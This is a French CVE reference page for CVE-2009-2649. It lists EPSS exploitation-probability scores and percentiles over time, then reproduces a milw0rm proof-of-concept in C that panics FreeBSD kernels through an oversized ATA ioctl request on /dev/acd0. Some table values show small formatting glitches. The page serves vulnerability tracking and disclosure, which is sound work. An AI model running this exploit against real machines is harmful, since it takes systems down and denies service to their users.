CVE-2009-2649 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-01-14	–	–	–	0.04%	–
2024-02-25	–	–	–	0.04%	–
2024-04-14	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-06-09	–	–	–	0.04%	–
2024-10-27	–	–	–	0.04%	–
2024-12-15	–	–	–	0.04%	–
2024-12-22	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.09%
2025-03-30	–	–	–	–	0.09%
2025-04-06	–	–	–	–	0.09%
2025-04-08	–	–	–	–	0.09%
2025-04-09	–	–	–	–	0.09%
2025-04-12	–	–	–	–	0.09%
2025-04-15	–	–	–	–	0.09%
2025-04-15	–	–	–	–	0.09,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	8%
2024-01-14	7%
2024-02-25	8%
2024-04-14	9%
2024-06-02	9%
2024-06-09	1%
2024-10-27	11%
2024-12-15	12%
2024-12-22	11%
2025-01-19	12%
2025-01-19	12%
2025-03-18	23%
2025-03-30	22%
2025-04-06	23%
2025-04-08	22%
2025-04-09	23%
2025-04-12	22%
2025-04-15	26%
2025-04-15	26%

/* atapanic.c * * by Shaun Colley, 13 July 2009 * * this panics the freebsd kernel by passing a large value to malloc(9) in one of * fbsd's ata ioctl's. tested on freebsd 6.0 and 8.0. you need read access to the * ata device in /dev to be able to open() the device. chain with some race condition * bug? * * - shaun * */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <fcntl.h> struct ata_ioc_requestz { union { struct { u_int8_t command; u_int8_t feature; u_int64_t lba; u_int16_t count; } ata; struct { char ccb[16]; } atapi; } u; caddr_t data; int count; int flags; int timeout; int error; }; #define IOCATAREQUEST _IOWR('a', 100, struct ata_ioc_requestz) int main() { struct ata_ioc_requestz evil; int fd; evil.count = 0xffffffff; fd = open("/dev/acd0", O_RDONLY); /* /dev/acd0 is one of my ata devices */ ioctl(fd, IOCATAREQUEST, &evil); /* should never reach here if kernel panics */ return 0; } // milw0rm.com [2009-07-13]